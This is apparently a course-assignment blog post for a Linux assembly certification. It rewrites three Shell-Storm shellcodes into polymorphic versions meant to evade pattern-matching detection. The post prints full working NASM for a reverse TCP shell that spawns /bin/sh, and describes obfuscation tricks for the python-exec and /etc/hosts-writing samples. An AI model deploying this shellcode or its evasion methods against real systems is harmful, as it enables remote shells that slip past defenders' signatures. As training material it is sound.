Posts Tagged polymorphism
Assignment 6: Polymorphism
Posted by msstavros645 in Shellcode on February 8, 2015
Select at least 3 shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching. Size of polymorphic code must not exceed 150% of original.
The first shellcode we will attempt to modify is a classic reverse_tcp. The url with the code is:
http://shell-storm.org/shellcode/files/shellcode-883.php
We will present the original part on the left side, and the modified code, on the right:
This is the socket creation part. We did not modify the code heavily, but it is different at least at the top, ensuring that we do not have the same “header” in the new version.
Moving on we have the connect() call.
The original shellcode, supplies the ip address directly via a push. We are using the trick presented in Assignment 2 to compute the ip address. This modifies the bytes (in that the ip address is obfuscated) and adds some instructions (bswap) so this part of the code will be quite different. Also we are using ESI (which is not used anywhere in the original code) and finally we are doing some arithmetic with EBX, to get the 0x10 value and then 0x3 we need for the syscall.
The next part of the code is storing the new file descriptor from the connect call, and prepares for the dup2() loop.
Instead of the push/pop for assigning ecx the value, I am using a direct mov, after the zeroing out of the register via an xor with itself. I am also hiding the 0x3f value in al, by assigning 0x40, and decrementing it before the int 0x80 instruction.
The last part of the code is the execve call.
Here I have tried to obfuscate the value of EAX, and I have added two random instructions (rol esi, inc edi). I had also tried to obfuscate the string representing the command we want to execute, by XORing it with 0x2a2b2c2d and using the result in the code to XOR once more with 0x2a2b2c2d to get to the original string, but this increased the total size of the code beyond our limit of 150% of the original, so I kept the string umodified.
The following images, present the two listings side by side using an objdump command from the compiled nasm files. I have identified the similarities of the two listings with yellow boxes.
The length of the original shellcode was 74 bytes, 150% of that is 111 bytes. Our polymorphic code is 99 bytes in length, which is well within the assignment’s limits.
We can extract the compiled shellcode, paste it into our shellcode.c wrapper program, compile and execute (first we setup a listening netcat):
The polymorphic version works as expected.
The nasm file of the polymorphic version is presented below:
global _start
section .text
_start:
xor ebx, ebx ;zero out EBX
mul ebx ;zero out EAX, EDX
mov al,0x66
inc ebx ;EBX = 1
push edx ;push 0
push ebx ;push 1
push 0x2 ;push 2
mov ecx,esp
int 0x80
xchg edx, eax
add eax, 0x66 ;since socket() is succusful, EAX=0, so just
;add 0x66 instead of moving
mov esi, 0xffffffff ;trick to compute the ip address
sub esi, 0x80fefefe ;instead of directly pushing it
bswap esi
push esi
push word 0x3905 ;leave this unchanged
add ebx,1 ;add instead of inc
push bx
mov ecx, esp
rol ebx, 0x3 ;ebx is 2, left rotate by 3, is
;equivallent to mult by 8 (2*2*2)
;so it will get to 0x10
push ebx
sub ebx, 0xd ;subtract from 0x10, to get 0x3
push ecx
push edx
mov ecx, esp
int 0x80
xor ecx, ecx
add ecx, 0x2
mov ebx, edx
loop:
mov al,0x40
dec al
int 0x80
dec ecx
jns loop
mov al, 0x9
add al, 0x2
inc ecx
mov edx,ecx
push edx
push 0x68732f2f
rol esi, 2
inc edi
push 0x6e69622f
mov ebx,esp
int 0x80
For the second shellcode sample we will work with a small execve code, that executes /usr/bin/python. The original shellcode can be seen in the following url:
http://shell-storm.org/shellcode/files/shellcode-886.php
As before, original code on the left, polymorphic version on the right:
We are using again the xor/mul of ebx, to zero out ebx, eax, edx, and then an mov to zero ecx.
For the next part of the code, and since this is a very small shellcode (leaving little room for multiple changes) I have chosen to use a lot of jumps to modify the flow of the program. This is also a valid polymorphic technique. The result is presented below:
In yellow boxes, some random instructions, that really do not do anything useful for our shellcode. I have used the coloured arrows to aid the eye in understanding the flow of the code.
The following shows the similarities of the two shellcodes (due to limited resolution, the string value is not completely visible, but of course this is the same, as in the original listing):
We can now compile our shellcode, and execute it:
The length is 78 bytes (original 58) and we get the python execution as expected.
The third shellcode sample we will work with performs an entry addition into /etc/hosts file. The original shellcode can be seen in the following url:
http://shell-storm.org/shellcode/files/shellcode-893.php
For this sample, we will demonstrate the use of equivalent instructions. The first part of the code:
Instead of directly storing 5 (for the open syscall) into eax, we are first incrementing from 0 to 1, then shifting left by 2 (which is equivalent to multiply by 4) and then incrementing once more. The ESI register is also introduced, to hold the value 5, which will later be used in computations for deriving the EAX values for the various calls.
For the string /etc///hosts, we observe that the 3 push instructions, operate on decrementing values (0x7374736f < 0x682f2f2f < 0x6374652f). We can use this to our advantage to derive the second and third strings, using subtractions. For the third subtraction, we need to subtract 0x04baca00, but this contains a null byte, therefore we are subtracting 0x04baca01 to get 0x6374652e, and then incrementing by one.
Finally the mov, ebx, esp, has been replaced by an equivalent lea ebx, [esp], and the mov on cx, has been replaced with an or instruction (which is equivalent, since cx is zero).
After the syscall, there is a jmp-call-pop. The first part:
The xchg instruction is kept. For the eax to get the value of 4, we are using the ESI therefore, “hiding” the value passed to eax.
Then the last part of the code:
Here the pop instruction has been rewritten using an equivalent mov <register>, <mem> / add esp,4. Following that, the string length is computed again with arithmetic and bit shift operations of the esi, and loaded into EDX, with a lea instruction (in place of an mov). The same happens for the following syscall, and then for the exit a sub eax, eax / inc eax is used instead of pushing/poping 1 into EAX.
We can now look at the two dumps side by side (due to limited resolution, the string value is not completely visible, but of course this is the same, as in the original listing):
We see that the polymorphic version is almost completely different from the original shellcode.
Finally, we execute our shellcode (under su privilledges, since we need to write into /etc/hosts):
The length is well within limits (original was 77 bytes) and it works as intended.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-645















Recent Comments